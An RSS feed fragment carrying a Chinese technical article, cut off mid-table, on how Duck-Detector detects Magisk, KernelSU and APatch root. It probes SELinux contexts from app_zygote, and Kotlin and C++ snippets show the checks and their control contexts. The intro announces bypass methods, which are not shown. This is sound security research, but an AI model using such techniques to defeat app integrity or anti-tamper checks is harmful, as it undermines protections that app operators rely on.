WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">写到这里就先收尾。如果有读者已经动手试了scrcpy 4.0的flex display，或者抢先体验到了AndDrive(D)的预览版，欢迎在评论里聊一聊各自的使用体验。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=39b1e155&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485211%26idx%3D1%26sn%3Dde7f359c8d7861e8b1124667a40341b6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 13 May 2026 15:42:00 +0800</pubDate>
    </item>
    <item>
      <title>三大Root框架通杀检测与反检测方法分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485204&amp;idx=1&amp;sn=0cf8c32c11363b3fab82419058605ad5</link>
      <description>最近比较流行通杀！前面讲过两篇Linux的通杀漏洞，这次轮到安卓了。</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-12 12:21</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=50ccc9fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT8bvtdKNeGP4OThv6Mib0lXZdECD7uBsbQfic7XuOmDRfibb6FpicUAatTvkRwXv6HRDAD6UPuZ6fQiaMttDuyibwjX474WpKoBRprWk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001553" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e75c6829&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8BoABO5G8ZnCPZpouCtP2Hbb3fSosKpNmJ73KDCAziafLtccNk2apTwwgib9qvgRExUd8Mp1Ssia6Y0bDOmfEzUeiasCbvYfT5SRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">最近比较流行通杀！前面讲过两篇Linux的通杀漏洞，</span></p><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">这次轮到安卓了。这一次又是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">在搞事，老版本这个检测器C语言编写的，现在新版本使用C++重构开源了，挺值得学习的。</span></p><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">Duck这次公开了一个检测方法。可用于全版本</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Magisk</span></code><span leaf="">检测，实际它也可以用于对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">的检测。随后LSPosed沿用同一思路，整理出更精简的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">检测器。</span></p><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">与此同时，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">社区也亮出了反检测的思路与代码。接下来，本篇主要介绍一下这个通杀检测的原理，以及三种过这个检测的方法。</span></p><p data-line="4" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">文章作者：非虫（fei_cong@hotmail.com）</span></p></blockquote><h2 data-line="6" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Duck-Detector检测原理</span></h2><p data-line="8" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这次检测的核心思路，是把探针下沉到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">进程，借助它对SELinux策略的查询能力，跳过传统的包名、进程名与文件路径扫描，直接向内核发问两件事：目标上下文是否存在、目标访问是否被放行。前者通过写入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/context</span></code><span leaf="">完成，后者则依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">android.os.SELinux.checkSELinuxAccess</span></code><span leaf="">接口。</span></p><p data-line="10" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">预加载类是整条检测链路的起点。当</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">currentUid</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">appInfo.uid</span></code><span leaf="">不一致，或Native库未能加载时，探针会直接产出一份可解析的失败快照，把&#34;载体失效&#34;与&#34;发现Root痕迹&#34;严格区分开来，避免环境异常被误判为命中。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="12" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">class</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">AppZygotePreload</span></span><span leaf=""> : </span><span style="color: rgb(163, 21, 21);"><span leaf="">ZygotePreload</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">override</span></span><span style="color: inherit;"><span style="color: rgb(0, 0, 255);"><span leaf="">fun</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">doPreload</span></span><span style="color: inherit;"><span leaf="">(appInfo: </span><span style="color: rgb(163, 21, 21);"><span leaf="">ApplicationInfo</span></span><span leaf="">)</span></span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">val</span></span><span leaf=""> result = runCatching {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">val</span></span><span leaf=""> currentUid = Os.getuid()</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (currentUid != appInfo.uid) {</span><span leaf=""><br/></span><span leaf="">                fallbackPayload(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;UID mismatch: </span><span style="color: rgb(0, 128, 0);"><span leaf="">$currentUid</span></span><span leaf=""> != app uid </span><span style="color: rgb(43, 145, 175);"><span leaf="">${appInfo.uid}</span></span><span leaf="">.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            } </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!SelinuxContextValidityBridge.isNativeLibraryLoaded) {</span><span leaf=""><br/></span><span leaf="">                fallbackPayload(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;SELinux native library unavailable.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            } </span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">                SelinuxContextValidityBridge.nativeCollectContextValiditySnapshot()</span><span leaf=""><br/></span><span leaf="">                    .ifBlank { fallbackPayload(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;SELinux native snapshot payload was empty.&#34;</span></span><span leaf="">) }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }.getOrElse { throwable -&gt;</span><span leaf=""><br/></span><span leaf="">            fallbackPayload(throwable.message ?: </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;SELinux app zygote preload failed.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        SelinuxContextValidityBridge.setPreloadedRawData(result)</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="33" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Native层首先声明被检测的上下文与控制组。其中</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">u:r:ksu:s0</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">u:object_r:ksu_file:s0</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">u:object_r:magisk_file:s0</span></code><span leaf="">是Root相关类型，剩余四个上下文则用于自检oracle的可信度。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="35" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kSelinuxContextPath = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/sys/fs/selinux/context&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kExpectedCarrierType = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;app_zygote&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kKsuContext = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:ksu:s0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kKsuFileContext = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:ksu_file:s0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *magiskFileContext = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:magisk_file:s0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kNegativeControlContext = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:r:duckdetector_context_oracle_sentinel:s0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kStockFileControlContext = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:system_data_file:s0&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">constexpr</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *kNegativeFileControlContext =</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;u:object_r:duckdetector_context_oracle_sentinel_file:s0&#34;</span></span><span leaf="">;</span></code></pre><p data-line="47" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/context</span></code><span leaf="">的职责是将输入上下文转换为内核</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sid</span></code><span leaf="">。只要当前策略认可目标type，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">write()</span></code><span leaf="">便会返回非负值，这正是判定&#34;上下文存在&#34;的唯一信号。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="49" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: inherit;"><span leaf="">ContextCheckResult </span><span style="color: rgb(128, 128, 128);"><span leaf="">check_context_validity</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *context)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    ContextCheckResult result;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> fd = </span><span style="color: rgb(0, 122, 204);"><span leaf="">open</span></span><span leaf="">(kSelinuxContextPath, O_RDWR | O_CLOEXEC);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (fd &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        result.valid = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result.note = std::</span><span style="color: rgb(0, 122, 204);"><span leaf="">string</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Unavailable: &#34;</span></span><span leaf="">) + context + </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; errno=&#34;</span></span><span leaf=""> + </span><span style="color: rgb(0, 122, 204);"><span leaf="">strerror</span></span><span leaf="">(errno);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> result;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span leaf=""> written = </span><span style="color: rgb(0, 122, 204);"><span leaf="">write</span></span><span leaf="">(fd, context, std::</span><span style="color: rgb(0, 122, 204);"><span leaf="">strlen</span></span><span leaf="">(context) + </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> error = errno;</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">close</span></span><span leaf="">(fd);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (written &gt;= </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        result.valid = </span><span style="color: rgb(163, 21, 21);"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> result;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    result.valid = </span><span style="color: rgb(163, 21, 21);"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result.note = std::</span><span style="color: rgb(0, 122, 204);"><span leaf="">string</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Unavailable: &#34;</span></span><span leaf="">) + context + </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34; errno=&#34;</span></span><span leaf=""> + </span><span style="color: rgb(0, 122, 204);"><span leaf="">strerror</span></span><span leaf="">(error);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> result;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="71" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为防止偶然误判，检测链路对每个Root相关上下文都重复查询两次。只要两次结果不一致即进入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">UNSTABLE_RESULTS</span></code><span leaf="">状态，这样即便Root管理器只拦截一次、或在不同入口给出不同答案，依然能够被识别。控制组中&#34;正常上下文应通过、哨兵上下文应失败&#34;四组判定全部符合预期之后，Root相关结果才会被采信；否则视为自检失败，所有KSU结论降级为附加信息。</span></p><p data-line="73" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkSELinuxAccess</span></code><span leaf="">走的则是访问向量计算的路径。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">的身份充当查询者，覆盖以下四组访问关系：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">检测点</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">source</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">target</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">class</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">perm</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 